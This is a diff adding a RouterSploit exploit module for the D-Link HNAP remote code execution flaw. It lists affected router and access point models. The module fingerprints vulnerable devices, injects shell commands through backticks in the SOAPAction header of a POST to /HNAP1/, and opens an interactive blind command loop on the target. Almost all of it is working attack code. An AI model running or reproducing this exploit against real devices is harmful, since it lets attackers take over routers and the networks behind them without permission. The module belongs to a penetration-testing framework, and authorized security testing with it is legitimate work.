HNAP RCE exploit for multiple D-Link devices.

routersploit/modules/exploits/dlink/multi_hnap_rce.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_status,
+    print_error,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for HNAP Remote Code Execution vulnerability in multiple D-Link devices.
+    If the target is vulnerable, command loop is invoked that allows executing commands on the device.
+    """
+    __info__ = {
+        'name': 'D-Link Multi HNAP RCE',
+        'description': 'Module exploits HNAP remote code execution vulnerability in multiple D-Link devices which allows executing commands on the device.',
+        'authors': [
+            'Samuel Huntley',  # vulnerability discovery
+            'Craig Heffner',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/37171/',
+            'https://www.exploit-db.com/exploits/38722/',
+            'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/',
+        ],
+        'devices': [
+            'D-Link DIR-645',
+            'D-Link AP-1522 revB',
+            'D-Link DAP-1650 revB',
+            'D-Link DIR-880L',
+            'D-Link DIR-865L',
+            'D-Link DIR-860L revA',
+            'D-Link DIR-860L revB',
+            'D-Link DIR-815 revB',
+            'D-Link DIR-300 revB',
+            'D-Link DIR-600 revB',
+            'D-Link DIR-645',
+            'D-Link TEW-751DR',
+            'D-Link TEW-733GR',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+
+    def run(self):
+        if self.check():
+            print_status("Target might be vulnerable - it is hard to verify")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection, response is not available")
+            shell(self, architecture="mipsel")
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        cmd_new = "cd && cd tmp && export PATH=$PATH:. && {}".format(cmd)
+        soap_action = '"http://purenetworks.com/HNAP1/GetDeviceSettings/`{}`"'.format(cmd_new)
+        url = "{}:{}/HNAP1/".format(self.target, self.port)
+        headers = {"SOAPAction": soap_action}
+
+        http_request(method="POST", url=url, headers=headers)
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/HNAP1/".format(self.target, self.port)
+        headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings"'}
+
+        response = http_request(method="GET", url=url, headers=headers)
+        if response is None:
+            return False  # target is not vulnerable
+
+        if response.status_code == 200 and "D-Link" in response.text and "SOAPActions" in response.text:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable